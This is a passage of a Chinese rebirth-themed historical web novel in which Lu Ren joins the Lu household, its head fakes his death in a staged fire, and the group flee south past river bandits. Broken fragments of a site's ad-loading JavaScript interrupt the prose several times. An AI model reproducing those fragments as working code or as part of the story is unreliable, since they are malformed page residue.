身上的配饰远远要超过二百两的价格,身上的衣服却半新不旧。行礼动作很是标准,显然是受过专门的礼仪教养的。 这么一个人在他卢家,也不知是福是祸。 卢运送走三人后,又回到了灵堂。 卢献跪坐的很平静。 “其实那位姑娘说的对,前尘往事,无从考究,咱们仅凭一块金锁断定不了她是小姐。” “有总比没有好。” 蜡烛快熄了,卢献起身续上蜡烛,白色的烛泪一滴一滴淌在案上。两根蜡烛的烛焰相接,短暂的更明亮了些。 只是长明灯是要续上的,新烛烛底压在了旧烛的烛泪上,熄灭,凝结,才算得上是长明。 多一个继承人,总会让蠢蠢欲动的人,多一些忌惮。 万一他有事,这份家业也不该不清不楚的落在那群人的手上。 路壬和怀永安一身白衣,直接齐齐跪在灵前。 怀永安号啕大哭,路壬跪着流泪,跟着二人的云配也只能同卢献道一声节哀。 “也不错,我有弟弟妹妹了。”卢献勾唇,悄声同卢运道。 云配也在观察这位年轻的卢家家主,举止矜贵,却又不像京城里其他的勋贵子弟。 一双眼睛黑的彻底,直觉就让人忍不住远离。 “云公子可是在看在下的脸?莫非是在下形容不整?” 偷看人家被抓,实在有些尴尬:“一时走神,卢家主勿怪。” 卢献轻轻道:“如此,如此便好。” 云配试着笑着应付过去,只是很快笑容就凝在脸上。 卢献怎么知道他的姓。 卢献见过他? 他是否可以向卢献求助? 尽管路壬和怀永安并无害他之心,他亦不想将人身自由交于他人,何况定国公一家还等着他去救。 问题是,卢献会选择帮助谁呢? 许以重金,许以重诺? 不行,在卢献的底牌还未完全揭露之前,他不能再冒险。 至于卢献,云配一瞬间的僵持尽收眼底。云,只是家丁打听到的,但似乎这个“云”字,是个了不起的云。 那么整个大临,只有那么一个云:临安云家。 祠堂里陈列着许多灵位,其中一个靠前的,瞧着跟卢父的灵位差不多新旧。 路壬看时,怀永安似乎也注意到了。 卢叙,一个大临人很熟悉的名字,却没想到出自这样小城的家族。 六元及第,一词千金,金殿触柱而亡。十八字便可概括这位传奇人物的一生。 若是他还活着,大概也就二十二岁。 看年岁,大概同卢献是兄弟。 是了,虽不知弘王谋反为何,但卢叙是死谏在弘王带兵出征之前。 南境陈国犯边,庆熙帝要割地求和,卢叙金殿死谏,触柱而亡,这才有的弘王带兵南征。 之后才是弘王谋反,定国公府被牵连。 云配和卢献八竿子打不着的关系就这样牵起来。 果然,人与人之间的关系就是个圈。 至于这位卢家二郎,上辈子路壬应该是见过的。 刽子手也算公差,故而也会在大狱里排班当值。 来牢狱之中探望故人时,乌檀一样的长发已经成了银丝,手中握着白玉佛珠,身上粘着干涸的血,又带些风雪的寒气。 不像现在虽然冷冽仍有几分亲和,那时的他已是满身戾气。 他怎么进牢狱的,路人不知道,只是就那么悄默声走到路壬身前:“劳烦,云配。” 那个时候的云配,左眼已经被剜去,瘸了一双腿,胳膊断了条,指甲也被拔了,原本白皙修长的手指上,血肉模糊。 没人知道卢献给云配说了什么,云配罕见的笑了。 笑之后,就是两人便是久违的沉寂。 路壬只听到了卢献说的最后一句话:“保重。” 卢献出牢门时,似乎也是腿脚不怎么好,虚扶了他一把。 “劳烦,多谢。” “路大人,我有点饿了。”云配浅浅的笑了一下。 “再有一个时辰就有饭了。” “好。” 云配倚着墙瘫坐着,抬着头不知在想些什么。 最深的大狱,也是有窗户的,总要透些风去。 已经四更天了,外面风雪大了,顺着狭小的窗口飘了进来,恍惚透出的微光,照在云配身上,显得有些安详。 他要是现在死了多好,云配这样想。 这时的云配和卢献竟还不认识。 她这样,是否已经阻止了部分事情的发生? 外头又起了风雪,片片吹入灵堂,路壬回首,云配好端端的站在旁边,对上她盛满泪光的眼睛,有些不知所措。 为什么会有人武大刀虎虎生风,但眼泪还那么多啊。 卢运带人端来了热菜:“家主,小姐,少爷,云公子,大家用些吃食吧。” 说是吃食,其实就是麦粥,但考虑到卢府唯一的外人“云配”,还是贴心的准备了两碟素菜。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我已让人告知族老,明日就将你二人认入祖祠。” 怀永安狐疑片刻,指了指自己:“我,你认真的?” 卢献郑重点了点头:“是啊,毕竟你是我异父异母的亲弟弟。” “你不就只丢了一个妹妹卢望,那我是谁?” “你是我花了二百两白银找回来的异父异母的亲弟弟卢绘,你觉得怎么样?” “我觉得兄长说的甚是。” 不过卢家家主寻回妹妹的消息走漏的很快,还未等到第二日,卢家的一群族老已经闻着味赶来。 “量思,血脉相认可是大事,你如何能断定这姑娘是你妹妹?” “那不知伯伯凭何以为阿望不是我妹妹?信物在此,年岁相似,样貌相似,小侄实在不清楚什么还使诸位有所怀疑?”卢献行了礼,一字一顿道。 “此外,旁边的这位是我弟弟卢绘,有什么诸位即见了阿望,便连他一起见了罢。” 卢献什么时候又多出来一个弟弟,卢静何时多出来一个儿子? “量思这话就不妥了,我卢家的祠堂不是什么人都能随便进的。” “诸位叔叔伯伯需要先认清楚,我才是卢家家主。” “就算她是你妹妹,一个女子进了宗祠能有什么用。” “如若天不假年,卢望便是我卢家的家主,诸位可听清了。” 听清了,这人有病。 不止卢家族老,路壬亦觉得。 太容易的得到的东西,总让人察觉危机四伏。 卢家本家不留,给她一个外人吗? 还是说因为一个金锁,这人直接断定她是他妹妹? 太草率了,以至显得有些荒唐。 “妹妹,看清各位叔叔伯伯,别你舞刀弄枪时,一个没准头伤到了人。” “是,各位叔叔伯伯。”路壬行礼时侧身,故意将身后的刀亮了出来。 虽是觉得卢献有病,但能直接给她十年俸禄的人,就算有点病有什么关系呢? “阿绘,你也听着,可认清各位长辈的脸了?替阿望记着点。” “是,兄长。” 明晃晃的大刀在雪里,映着寒光。 族老向前的步子已经停了,两拨人之间薄薄的积雪横亘起一条分界线。 一个年轻的家主,孤身一人去对抗一群人。 势单力薄便是这样的,人多了,其中不起眼的,随大流的,挑大头的都会觉得自己代表了正义的一方,就连原本的卑鄙想法都在脑中无数次的合理化。 他们义愤填膺,他们心中已经接受了自己的正义,自然可以站在高处指责与之对立的人物。 对与错,善与恶,说不准,只是卢献做的本就是一个很不明智的决定。 卢献跟族老吵了一下午,准确来说是族老单方面聒噪,卢献时不时呛回去几句。 最后与其说族老妥协了,不如说是暂时忍下,等回去商量个卑鄙些的主意对付。 屋内仅留了“兄妹”三人,云配被管家卢运捞了出去。 三人围桌而坐,干瞪眼。 路壬还是先开了口,毕竟是一口气给了她二十年俸禄的人,卢献还是很重要的:“你不担心?” “没关系。卢家二郎就应该死在一场家族争斗之中。”这里究竟几分玩笑,几分真心,众人辩别不得。 “你希望我能做什么?” “卢家二郎死了后,卢家依旧还是那个忠君爱国的卢家。” 5. 旧时过客,旧厅堂 “你想干什么?” “死了之后,我就不是卢家二郎。我父兄及祖祖辈辈,忠君爱国,名声实在不宜为我一人所累。” “你想叛国?” “哎,不可如此说,只是想着自己的选择不为一些事情所累。”卢献唇角短暂勾起一个弧度,笑意未达眼底。 他父兄视为生命的信条,他就一定要坚守着吗? 君不仁,可易之。 他不会像他哥哥,用自己一条命去换昏君轻飘飘一句话。 他要寻找一位仁慈明主。 “为什么找我?” “我死后,卢府留下的人,供你驱使。无论是保护云家二公子,还是你想把人偷偷扣在这里当赘婿,都可以。卢府一半的钱财供你使用,足矣让你们三人安度余生。” “你并没有说出理由。” “有魄力,够胆识,能镇住那些虎视眈眈的族老。最主要的是,我已无人可托,既然金锁在这个日子到我眼前,那我相信这命定的安排。” “你不找你的亲妹妹么?” “金锁平安的戴在你脖子上,你就是卢望。金锁没有平安的戴在她脖子上,或许她生活窘迫,以此易食;再或许如你所说,金锁流离辗转,也无从寻迹;甚至人已又入轮回。我能凭什么找,没有胎记,没有相貌,没有金锁。” “再者,卢家不是什么好去处。我只求若哪日真寻到她,你能给她一隅安身立命之处,三五傍身银钱。我这哥哥不称职,还要托你照拂一二了。”卢献起身对着路壬行礼,像极了托孤。 他爱那个妹妹吗?好像没那么爱,又不能说不爱,只是眼前身后太多沉重的事情,妹妹只能托付他人。 卢献拍拍路壬的肩膀:“别害怕,妹妹,前路不知就慢慢走。” “哥…哥,若是将来山重水复之时,别将背后轻托他人。” 路壬依稀记得有位早生白发的臣子早逝,谥文正,不过似乎并不姓卢。 战乱的时候,百姓是不会去记得贵人名字的,路壬想了好久,才想起来那人名字叫燕还。 民间对其死议论纷纷,死的太正常便有些说不出来的蹊跷。 有传言其兵败自刎,有传言其被下旨鸩杀。 传言皆有来由之处。不过兵确实也败了,所以话题并没有持续几日,遂天下大乱,百里无人烟。 三年大旱,人相食。 彼时路壬正背着刀,想找一处桃花源。 普通人而已,谁也不想掺和进兵乱。然乱世之中,哪里有桃源? 卢献的死,只是让人感慨大临王朝气数已尽,无力回天,没有人会在意这位少年权臣为这摇摇欲坠的王朝续命了几年。 “希望不会有那一天。”卢献笑得更深了,对此并不忌讳,他又拍了拍怀永安的肩,“弟弟啊,有仇报仇,有怨抱怨,只是云家二郎不是坏人,别被仇蒙蔽双眼。” 卢献是个好人,路壬同样也不想让他死。 怀永安不似先前健谈,只是郑重点头道:“多谢兄长点拨。” 三人此时倒真有些像兄妹,可惜无血脉维系。 好笑的是,血缘有时候又是最靠不住的东西,来卢府咄咄逼人的族老,哪个不是卢献的血亲? 起风下雪了。簌簌飞花不停,云配靠着外面的台阶睡着了,雪落满衣。 这么冷不会自己挑个地方暖和暖和?他是不是傻? 云配的脸被吹得有些绯红。路壬弯腰伸出双手,贴到他脸上。 骤然的温暖下,云配当即惊醒。 睁眼便是路壬放大的一张脸。 “怎么了?”见云配表情,路壬淡定问道。 “手。”云配咽了口口水,有些呆住了。 “咳~”卢献适当的时候提醒了一下,“怎么能让云公子在外面睡着了,定要好好责罚尔等,还不带客人去房里休息?” 底下人心领神会:“二公子,小姐,云公子,请随我这边走。” 雪欲加急了,刮的几人满头银白。 君埋泉下泥削骨,我寄人间雪满头。 云配死的时候还很年轻,十九岁,乌发如檀,脸上褶都没有。 “这下雪了,要是有热扁食汤喝就最好不过了。” 云配和怀永安扭头的时候,路壬弯着嘴角,连眉眼都弯地快乐,只是又是两串泪从她脸上滑落。 怎么又哭了? “风烧眼睛,别哭了。”怀永安掏出块帕子给她。 又是这样的感觉,路壬似乎在从他身上找什么故人。 直勾勾的冒犯,但云配不想当谁的影子。 只是路壬这样的表情,他又不好说什么。 算了,眼下还是想想怎么从卢府逃出去,去救定国公家。 仲安啊,你再等一等,我一定会回去救你和你家人的! 夜半,卢家祠堂着火,卢献为了救祠堂中的牌位,倒在了火中。 救出来时,面目已经烧的模糊不清,但身上的配饰与令牌都很吻合。 所幸,卢家家丁捉住了两个纵火者。 路壬带人押着纵火者对簿公堂,状告卢家族老为钱杀人,逼迫他们兄妹三人交出家产。 先是阻止她和卢绘进祠堂认祖归宗,后见木已成舟想在吃食中下毒却被察觉。 卢献仁孝,自见不得祖宗牌位焚于火场,带人救火,却最终葬身火海。 失去长兄护佑后,卢望(路壬)和卢绘(怀永安)二人孤苦无依,族老必然逼迫其交出家产,否则恐遭生死之劫,是以,二人不得已寻求官府庇护,求条生路。 “冬春干燥,遇火易燃,用不得出什么事都是我们这群老家伙的错。” “人证物证皆在,你们还想抵赖不成。”路壬红眼道。 “谁又能料到二郎会去祠堂里?着火了谁不往外跑。” 县令听处是一个漏洞。是啊,谁能断定卢家二郎就在祠堂之中呢? 仵作当庭验尸道:“不对,不对。” “莫不是尸体有什么问题?” “死者后脑勺有一处钝器敲击的痕迹,看伤口大小,应足矣致人昏迷。” 真相已经很明显了,族老派人打晕了卢献,将人带去祠堂,接着放火,造成卢献走水而亡的现象。 两个纵火的青年,是卢献年龄相仿的族兄族弟,大概逢年过节还一起找长辈要过压祟。 该说他们大胆还是不大胆。 说他们大胆吧,这种事居然不假手于人,说他们不大胆吧,这种事竟然不假手于人。 这并不是一场诬陷,卢献所做只有提前在祠堂密道里备好了可替换他的尸体。 县官念主犯年老,徙三千里,从犯杖五十,服五年牢狱。 “卢家女,你可有异议?” “民女无异议。”路壬又叩了头,“家兄先前,唯恐我兄妹三人遭人所害,避之不及,兄长曾言,若是他因族人亡故,则民女领卢家家主之位,与家族割袍, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 除祭祀之事,各不相关。” “这是你们家事,本官只当在此做个见证。”县官扯着他的山羊胡,扫了一遍堂下众人,又言,“女子立户不易,若是有什么不长眼的寻衅滋事,尽管来衙门。” “是,谢大人。” 纷纷纸钱混着大雪,天地银白一色,路壬同怀永安麻衣扶灵送葬。 短短半月,卢府送走了它的两位主人。 路壬派人收拾行李细软,她要带着卢府走。 两个少年守着偌大家产,被族老盯在眼皮底下,生死被捏在手里,故而想远走他乡,谁都能理解吧。 路引开的很快。 县官是个好官,但他能做的也只有这么多了。 离去前的最后一个晚上,路壬写了好几封信,怀永安和云配过去时,她还在写。 字体不敢恭维,不过她认得字应该不少。 “你在写什么?” “辞呈。我已休沐半月有余,不好再找长官请。一年内,大抵不会回京。”路壬平静的将信装好,封起来。 云配听了只觉霹雳:“一年不会回京,你要在这呆一年?” 一年,仲安的坟头草只怕都长到第二茬了。 “不行,太长时间了。我说过,我朋友还在牢里,我要去救他。” “我也说过,你不去,谁都不会死;你去了,除了你家,都会活着。” “让我袖手旁观,我做不到。” “我不想让你死。” “我不需要,我只想救我朋友。你为什么要管我死不死呢?”云配打也打不过,只能后退一步,蜷身蹲在地上哭。 “我只是……不想你死。好人不该死的。”路壬后面说的很轻。 甚至路壬都不知道自己的执念从何而来。 没有人告诉她应该做什么,她只做自己想做的,简言之:随心。 她知道云配是个很好很好的人,他不该死,更不该死的那么凄惨。 云配不一样,他的教养,他的义气都告诉他,哪怕世事苍黄,他也不能放弃救自己兄弟的性命,这是他应做之事和想做之事。 “来,我们好好商量一下。”怀永安两人扯着坐下。 “首先,我有些事要去临安,非去不可。需要用到你,大概一两月。” “其次小路子也没什么坏心,虽然不知道她如何笃定你救人会死,但带你去江南也只是让你避免麻烦缠身。” “最后,云兄弟,你要救你兄弟,你拿什么救。去搬救兵,救兵你要去找谁呢?你已经致仕的曾祖,你大权在握的祖父,你京中仕途大好的父兄,你江南扬名的叔父,你在外领兵的舅父,这些都不像是,是谁给你的一处势力?” “你不会打算劫狱吧!” 怀永安见说到此时,云配有反应,看来真没猜错。 怀永安拍了拍路壬的肩:“人确实是个好人,就是傻。” “我能怎么办!无人为定国公府奔走,朝堂故旧落井下石者更是数不胜数……我只是不想让我朋友因跟弘王有旧就命丧黄泉。”云配哭的更狠。 怀永安看了一下愣住的路壬,继续对着云配道:“劫狱之事万一暴露,你知道会出什么事吗?你祖父的政敌会比对定国公府还要落井下石,你会将你的家族与定国公府,与谋反伏诛的弘王一起绑起来,几家砍下来的脑袋都够去堆长堤。” “弘王会活下来的,他不是谋反。”路壬开了口,平静地,但好似炸起一片雷。 6. 朱雀桥边野草花 “你说什么?” 路壬叹了一口气: “我说了你们会信么?” “你……要不先说?” “我说了你会不回去吗?”路壬走近云配,自上而下盯着他抬起的脸。 “这是两件事。” 路壬叹了一口气,让怀永安去外面看看有没有人。 “没有人,门窗紧闭,讲吧。”怀永安利索转了一圈,回来将窗子封好。 “定国公家的案子本就定了日子,即将处斩的那一日,圣上收到了一封八百里加急的信。当即将定国公府的处斩日期定在了次年八月。” “所以定国公府不会有事?” “然而同一天,旨意还未下达,此时一群不明身份的黑衣人闯入了大牢。只是大牢守卫森严,黑衣人只来得及就走定国公小姐。之后,虽再有旨意下达,定国公小姐也算逃犯,全国通缉。” 不用说也知道黑衣人是谁了。 “此事未完,牢中有人捡到一处带徽记的银饰。后来作为证物一同呈了上去。听说上面大发雷霆,派人到处搜捕这群黑衣人。” “什么样的徽记你还记得吗?”怀永安递过去纸币。 路壬接过,歪歪曲曲画了下来:“是一个很奇怪的图案,像是一只鸟,又像是一只鱼,或者说是鸟首鱼身。” “北冥有鱼,其名为鲲,化而为鸟,其名为鹏。鸟和鱼在一起的典故我也就能想到这一种。罢了,先不管它,然后如何?”怀永安思忖片刻。 “然后……后有重兵搜索,前又遇上伏击,只能分头行动,食指不沾阳春水的公子哥,为此练出来一身的本事。” “人都逃到临安了,只是不知什么原因,还是被抓到了。” “然后就是弘王归来,接走了定国公家的小姐,定国公府也算苦尽甘来,而劫狱的主犯云配,及临安云氏全族下狱。云配受的刑讯……惨不忍睹。 “再后来云配被斩首,临安云氏被放出了来,只是云相病倒,云氏式微,再未有云氏子孙入仕途。”没有人为他的死负责任,没人知道真相,无论是定国公府还是临安云氏都继续平安喜乐的活着,但云配死了。 “几个王爷争来争去,天下也乱了起来,但最后弘王胜了,继承大统,号平康,立定国公小姐方无虞为后。平康六年五月十六日,帝崩,太子沈致继位,号晋熹。 “晋熹二年,朝廷兵败,燕相身死,帝降。” “天下大乱,临国境内三年大旱,百姓相食。” “还有想知道的吗?” 云配抬头问道: “后来呢?” “什么后来?” “你的后来。” 路壬不解:“死了,然后发现回到了定国公府出事的那一天。在街上撞见你,把你绑了。” “……”故事成了一个闭环。 “唉?这个故事里似乎没有我。” “那时候我也不认识你,之后也没听说过你的名字。” 怀永安无奈摊手: “那看来在你那个故事里,我没成什么英雄。” 听罢,路壬摇摇头: “乱世的时候,英雄没有什么好下场。” “万一我就是那个特别幸运的英雄呢?小路啊,你说你这样算不算窥得天机?” “不算吧,原本的进程改变,之后发生的事大概不会按既定的路走。”路壬从怀里掏出帕子,给云配擦了擦泪,轻轻问道:“这次别去送死了,好吗?” “万一你在框我们呢?” “我没有必要撒谎。” “不管怎样,先搬家。我们搬去哪里呢?” “投骰子,投到哪去哪。”路壬瞧见一旁桌上的两枚白玉骰子。 怀永安也瞧见了,取了放云配手中,又找了份舆图:“来,看天命吧。” 手中白玉骰子敲击碰撞,一声一声揪着云配的心。 两枚骰子,一枚落在了宣城,一枚落在了临安。 “这怎么选……” 只是刹那间,落在临安的那枚骰子一下碎成六瓣。 “……” “这是说搬去临安,一人能碎成两半吗?”怀永安咽了口水。 “还是去宣城吧。” 东西收拾的很快。 走的那天,路壬和怀永安在门口烧了香,磕了四个响头。 浩浩汤汤一群人,直接去了码头。占满了三辆大船。 有大港的地方不多,多数是往临安去的。 怀永安自上了船一直在绘图。 “你在画什么?” “舆图。” “我若是复仇完,要代一位前辈完成愿望的。”怀永安继续描绘,舆图精简而不失精致,一旁的小字隽秀清逸,不像是一般偷儿会的本事。 “现在行业下限那么高,还得会书画?”路壬忽然觉得自己辞呈写的草率。 “我这是有仙缘。” “是,小神仙。” “云兄弟怎么样了?” “在房里待着,不知道在想什么。” “就像你要救他一样,他也想救自己朋友。你想救的也不是一个冷心冷血的云配。”怀永安绘制完舆图,大笔一挥,又用朱砂在图上画了八个圈。 “我不知道怎么办。” “你好像并没有什么目的地?” “一时冲动把他绑了的,还没来得及考虑,原本攒的钱在南边的小城能买个小院的,想着总有条后路。”路壬叹了口气,“可是我们这样的人,从来只能走一步看一步的。” “只是小路,我还是提醒一句:“窥天机者不祥,干天机者有殃。”你真的想好了吗?” “之前的无数次的人生里,我都在按我自己的想法去过一生。 现在也一样,知晓之后事,然后按照我自己的想法去过一生。没有哪一刻比现在更清醒了。”路壬将头探出窗外,风雪鏖战。 “有水匪!”家丁高喊起来,风雪远处的水面上,燃起了点点火把。 四面八方来的船只,将江面上几艘商船围了起来。 路壬拔了刀冲出去,还不忘嘱咐怀永安看好云配。 不妙啊,少说有八只只匪船。 这都已经开始有水匪,再往南光景岂不是更不好? “全体戒备,女子孩童先去船舱里躲好。准备好弓箭。” “家主,你也先躲起来吧,万不可有什么闪失。” 这话是卢家管家卢辛说的。 自卢家前任家主卢献死后,管家卢运年老体弱,竟也跟着“仙去”了。 “无妨,我见过的场面比这大多了。”路壬让人取来几罐油,将箭头泡进去,点火射箭。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 此地不算南方,冬日干燥,船又大都是木头造的,沾火就着。 “先逮着一个船射,瞧见船着火,再去打其他的船。” “乖乖,真狠啊你。”怀永安以手抚膺。 “这种水匪是图财图命的。”路壬叹了一口气,“你怎么出来了?” “放心,云配那里有八个人看着他。” “等到码头,我们就能换陆路了。”路壬招手,“射!” 三船上火光点点,一刹间划亮长空,远处的小船被点燃,紧接而来便是噗通噗通的落水声。 路壬拿过弓,瞄准最大一只船的旗杆,旗杆应声而断。 对面隐约有个身影,跳上了船头。还未待路壬瞄准,一支羽箭直接插入路壬左箭头,路壬重重跌落下来。 怀永安拦住了随即而来的一支箭。 虽隔着黑夜,众人也能察觉这一箭带了几分挑衅。 “不要过多纠缠,把那边三艘船烧了,冲过去。”路壬拿刀将箭砍断了半截,站起身来。 “哦,对了,记住我们卢家是书香门第,清流世家,碰到事情解决的文雅一点。”想起卢献先前的嘱咐,路壬发笑了起来, “狗屁……” 书香门第在这世道里活不下去,也难怪卢献自己跑了。 “家主,这……” “射,没有箭就扔酒坛子。” 今晚,就看谁不要命了。 猛烈攻势之下,到底打出一个缺口。 除去卢家的船,另外几家商船也凑着空子,跟着一块过去了。 又是一道羽箭划出的嘹亮鸣声。 一封信被箭插在船舷上。 …… 看起来这水匪不认字。 上面是一些符号,路壬大概能看懂,但并不打算说。 路壬将信递给怀永安: “给他回封信,就写‘看不懂。’” “写好看点,毕竟我们卢家是书香门第,清流世家。” “家主,咱们还给那水匪回信干什么?”新家主行事风格惊人,卢辛不明所以,故而问道。 路壬解答他的疑问,“今日能全身而退一则水匪措手不及,二则江上风雪正大他们不敢贸然登船。 但横竖梁子已经结下,这封信就是“战书”,应了有失体面,不应有失气度。不如写个“看不懂”,让人一拳打在棉花上。” 怀永安快速磨墨展纸,板板正正的写下那三字。路壬结果,往箭上一缠,射了出去。 “全速前进。” 路壬的伤口流了半肩膀的血,吓了云配一跳。好在卢家有随行的医师,已经给她包扎好了。 路壬倒是歇了拿事例劝他救人的心思,只说:“小心一点,不然容易伤到。” 又行了两日,江面无风无浪,卢家的船找了处小渡口停靠,又雇了马车和快马,一路往宣城赶去。 卢家在江南几处是有宅院的,宣城也不例外。 这次行程赶得急,便未先派人清扫。 众人浩浩汤汤走到卢宅门口,路壬推了推朱红的榆木大门。 许是高门大户的设计,大门不是是前后推的,而是上下推的。 两块门板直接倒在了人前。 怀永安纠结了半刻,晃着右手欲言又止: “这门,好生别致……。” 7. 渐行渐远渐无书 荒草连天,覆盖了一层薄雪,破败的卢宅,少了几分萧瑟,多了几分平和。 “收拾收拾住下吧,再派几个人去买些炭火吃食。” 卢辛应下:“是。” 路壬叹了一口气推开前厅的门,厚厚一层灰尘同几人呼出的白气相交,泛起一股潮湿的霉味。 “老宅为何没有派人看守?” “原本是有的,只是大公子出了事,老宅的人去奔丧了。” 看来卢献自兄长死后便开始筹谋了。 不怪卢献谨慎,兄长死谏,虽说什么文官理尽之责,但需要臣子用生命去挽回决定的君主,真的值得拥护吗? “知道了,让人都出去吧,我要静一静,谁都不许过来。” “啥?”怀永安不疑有他,正要往外走,却被路壬拽住,“你留下,收拾收拾桌子。” 云配看看卢辛,又看看路壬怀永安,他呢? “带云公子挑间好屋子去吧。” “是。” 路壬轻声道: “出来吧。” 桌下的地板忽然陷下去一块,从下面爬出来一个人。 桌子没有移开,偪仄的空间就显得桌下人的姿态有些狼狈。 “楞那干嘛,搭把手。”卢献伸出左手,让怀永安给他扯出来。 卢献扑扑自己衣服上的灰,又扯了怀永安的下摆擦了擦椅子。 “你怎么知道我在这?” “房间有呼吸声,却没有外人进来的痕迹,清楚卢家老宅的密道。” “说吧,怎么跑这来了。” 怀永安摇头晃脑道:“天意。” “投骰子。” “那你们还挺会投,我废了好大劲才将人悄无声息地带过来。”卢献坐下,靠着椅背闭眼。 “这不挺好的,名正言顺给你打掩护。”路壬一语点明。 这话是没错的,没有比自己人在自己的地盘打掩护再名正言顺了。 之后的用需采买都可过份明路。 “好好好,去让厨房给我做碗馄饨去,里面要有绿叶菜。” “其他人呢?” “其他人暂时在其他地方,现在这里只有我。” “你等着,我去给你叫馄饨去。”怀永安揽过这活,径直出去。 路壬想确认一个可能: “你该不会现在叫燕还吧……” 回应路壬的是沉默和茫然。 “……”他刚想好的名字,怎么这个妹妹就知道了呢。 “那看来是真的了。” “你怎么知道?”他谁还没告诉呢! “这就是天机了。” “我起个名字怎么就天机了,还是这名字有问题,我再改一个?” “名字挺好的,就是结局不太好。” 卢献轻轻弹了下路壬的脑袋:“还没开始就唱衰哥哥啊。” “我说出来你信么?” 路壬的表情严肃,不似玩笑。 “信,毕竟我俩是血肉相连的亲兄妹,说吧。”卢献颔首轻笑。 “弘王没有死,他回去了,身旁跟着一位白发少年,后来弘王登基,少年拜相。” “那个少年叫燕还。” “是,弘王也就是后来的皇帝,登基前九死一生,伤了根基,在位六年,崩。太子沈致继位,号晋熹,燕还辅政。 晋熹二年,临陈开战,朝廷兵败,燕相身死,帝降,三国并两国。 而后三年大旱,人相食。” “燕还为什么身死?” “有很多传言:兵败自刎,下旨鸩杀,投敌叛国。不过最后燕相还是有个好听的谥号:文正。” “那你觉得哪个最可信?” “兵败自刎吧,但是乱世里,太正常的死法,都不是很正常。” “好歹有个好听的封号呢。”卢献笑意直达眼底。 “之前想过,但后来见到你,我想你不会在意谥号,更不会兵败自刎。”投敌叛国的可能性倒是要大一点…… “是啊,一条烂命我都要活下去。活着本就比许些人奢侈很多了。”卢献笑着叹了口气,“什么样的结局才算好呢?按你所说的我都做到那个份上,国家危亡也已不是我一人之力可挽回了,何错之有?” 怀永安拍了拍卢献的肩膀:“哥,你想的开就好!” 有武侯的境地却没有武侯的命数。 “我想不开会打人的,你可千万别在旁边。”卢献瞧着这人满是灰尘的手,冷冷笑道。 很久没什么人会跟他开玩笑了,怀永安怔了一下,随即面色一舒,将胳膊往卢献前面伸了伸:“哎,哥要打就打,毕竟我们血浓于水。” 卢献嫌弃地两指捏住他带泥的袖子,将胳膊挪远了些:“这世间本就没有按部就班的事情,不知前路如何很正常,以后无能为力的事儿还多着呢。” 卢辛敲了敲门:“家主,馄饨好了。” 怀永安出去接时,卢辛托盘上是三碗馄饨,两碗有青绿的葱花芫荽,另一碗是清静的汤,连点绿丝都没有。 “怎么三碗呢?” “没有葱花芫荽的那碗,是给也许会诈尸的前家主的。” 怀永安冲他竖了大拇指:“体贴。” 路壬从房间幽幽道:“靠谱。” 说罢,卢辛告辞,怀永安又掩紧了门。 “说起来你们考虑云二公子的事考虑的怎么样?” “完全没有计划。”二人摇头如拨浪鼓。 “定国公府的事说难也不难,我给你说一个人,去跟他谈条件,他答应了。你就能把定国公家救出来。他不答应,杀了他,以绝后患。” “谁?” “梁思珃。” 卢献细细品着素馄饨:“记得,如果他不答应,替哥哥杀了他。” “因为他跟你辅佐的不是一个皇子?” “梁思珃此人多智近妖,不能同盟,死了比活着好。” “他是个什么样的人?” “刻薄、吝啬、视人命如草芥。” 路壬从自己本就不多的记忆中想了想: “他后来败了,有个口是心非的人到底没有杀了他,只是将人赶得远远的,没有实力去威胁皇权。” “这样……那他下场挺好的。”卢献拿汤匙的手顿住,眼中晦暗不明。 路壬继续补充道:“后来过了几年,打仗了。也许是出于情谊的无法释怀,他带着全部家资打算送人充作军费,只是军中哗变,他听人说燕相投了敌,强撑着身体去了阵前,替人证实了清名。” “然后?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “然后回来时,被杀了,不是流民就是流匪。死于他最瞧不起的草芥之手。” “他一个书生,阵前尚能帷幄运筹,战场上总不能用笔杆子戳死人家?” “那看来死的都很惨。”卢献放下手中的汤匙,手支着下颌,“弟弟妹妹啊,你们看,做人谋事很难的,弄不好就不得善终了。当然交友不慎也是。” “所以你要跟我们一起去谈谈嘛?”路壬掏出一份礼单。 梁家人递礼单时战战兢兢,吊唁完就赶紧回去了。 礼单上除了些珍贵的礼物,还多了几个格格不入的大字:“卢献你死的挺痛快啊!” “我觉得梁家人那么快跑,是因为怕被当面打回去。”路壬和卢献谈话的空里,怀永安已经将自己的那碗馄饨吃完了。 “我不去了,你们去吧。总角之谊,但大家都变了。”他们这种立场相左,又彼此清楚对方痛点的人,相见不打架已经是体面了。 “那我们去有用吗?” “你们就说我临死前找他托孤,担心自己死于家族阴谋,一双刚认回的幼弟幼妹便如怀金过市,无人所托,请他代为看顾一二。我到时候给你们写封书信,就说我生前所写,他认得我的字,想必不会为难你们。” 怀永安摇头晃脑:“虽然但是,哥,我觉得你这不太地道。” 卢献白了他一眼:“别得了便宜还卖乖啊。” 他起身要走,不过还是背过身停下:“记得跟他说韩王有隐疾,没什么指望,别瞎费劲了。哦,他不听就算了。” 梁府内,黑衣公子重重拍着桌子,一张脸铁青,下眼睑和鼻子又有些淡粉色:“他就那么说我?” “哥哥说,平生旧友,无人所托,只能让我们有事找梁家兄长。” “卢量思,你有毛病啊!”梁思珃双手扶着天灵盖,百感交集。 “若是梁家兄长为难,我等便回宣城去了。”路壬拉着怀永安起身。 “等等等等,他那个人没道义,不代表我没道义,你们先坐下,说说什么事吧。” “把定国公府全家救出来。”路壬吐字清楚,轻飘飘的,只是每个字都跟块石头似的砸在梁思珃眼前。 气的他朝天大吼一声:“卢献你有毛病啊!” 死了都给他找活。 “弟弟妹妹啊,你们远道而来,先去歇息,定国公这事我想想怎么办。” 一旁被勒令不许出声的云配,听到此事有转机,恨不得当堂跳个两米高。 不过在另外两人的拉扯下,好歹冷静下来。 三人走出院子时,还能听到梁思珃的咆哮:“卢献你有病吧!可这是托孤,托孤啊!” 路壬和怀永安交换了个眼神,这位梁公子,瞧着是个实诚人呢。 